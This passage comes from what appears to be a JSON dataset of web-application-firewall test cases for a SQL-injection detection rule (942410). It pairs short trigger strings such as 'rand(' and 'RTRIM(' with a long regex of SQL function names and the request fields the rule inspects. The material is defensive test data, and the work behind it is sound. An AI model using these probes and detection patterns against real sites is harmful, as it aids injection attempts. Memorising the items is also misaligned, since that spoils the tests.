?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "rand(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "Rand (" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "RAND(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "replace(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "REPLACE(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "round (" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "round(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "rtrim(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:a(?:(?:b|co)s|dd(?:dat|tim)e|es_(?:de|en)crypt|s(?:in|cii(?:str)?)|tan2?|vg)|b(?:enchmark|i(?:n(?:_to_num)?|t_(?:and|count|length|x?or)))|c(?:ast|h(?:ar(?:(?:acter)?_length|set)?|r)|iel(?:ing)?|o(?:alesce|ercibility|(?:mpres)?s|n(?:cat(?:_ws)?|nection_id|v(?:ert(?:_tz)?)?)|(?:un)?t)|r32|ur(?:(?:dat|tim)e|rent_(?:date|time(?:stamp)?|user)))|d(?:a(?:t(?:abase|e(?:_(?:add|format|sub)|diff)?)|y(?:name|of(?:month|week|year))?)|count|e(?:code|(?:faul|s_(?:de|en)cryp)t|grees)|ump)|e(?:lt|nc(?:ode|rypt)|x(?:p(?:ort_set)?|tract(?:value)?))|f(?:i(?:eld(?:_in_set)?|nd_in_set)|loor|o(?:rmat|und_rows)|rom_(?:base64|days|unixtime))|g(?:et_(?:format|lock)|r(?:eates|oup_conca)t)|h(?:ex(?:toraw)?|our)|i(?:f(?:null)?|n(?:et6?_(?:aton|ntoa)|s(?:ert|tr)|terval)?|s(?:_(?:(?:free|used)_lock|ipv(?:4(?:_(?:compat|mapped))?|6)|n(?:ot(?:_null)?|ull))|null)?)|l(?:ast(?:_(?:day|insert_id))?|case|e(?:(?:as|f)t|ngth)|n|o(?:ad_file|ca(?:l(?:timestamp)?|te)|g(?:10|2)?|wer)|pad|trim)|m(?:a(?:ke(?:date|_set)|ster_pos_wait|x)|d5|i(?:(?:crosecon)?d|n(?:ute)?)|o(?:d|nth(?:name)?))|n(?:ame_const|o(?:t_in|w)|ullif)|o(?:ct(?:et_length)?|(?:ld_passwo)?rd)|p(?:assword|eriod_(?:add|diff)|g_sleep|i|o(?:sition|w(?:er)?)|rocedure_analyse)|qu(?:arter|ote)|r(?:a(?:dians|nd|wto(?:hex|nhex(?:toraw)?))|e(?:lease_lock|p(?:eat|lace)|verse)|ight|o(?:und|w_count)|pad|trim)|s(?:chema|e(?:c(?:ond|_to_time)|ssion_user)|ha[12]?|ig?n|leep|oundex|pace|qrt|t(?:d(?:dev(?:_(?:po|sam)p)?)?|r(?:cmp|_to_date))|u(?:b(?:(?:dat|tim)e|str(?:ing(?:_index)?)?)|m)|ys(?:date|tem_user))|t(?:an|ime(?:diff|_(?:format|to_sec)|stamp(?:add|diff)?)?|o_(?:base64|n?char|(?:day|second)s)|r(?:im|uncate))|u(?:case|n(?:compress(?:ed_length)?|hex|ix_timestamp)|p(?:datexml|per)|ser|tc_(?:date|time(?:stamp)?)|uid(?:_short)?)|v(?:a(?:lues|r(?:iance|_(?:po|sam)p))|ersion)|we(?:ek(?:day|ofyear)?|ight_string)|xmltype|year(?:week)?)[^0-9A-Z_a-z]*?\\(", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942410", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "RTRIM(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", 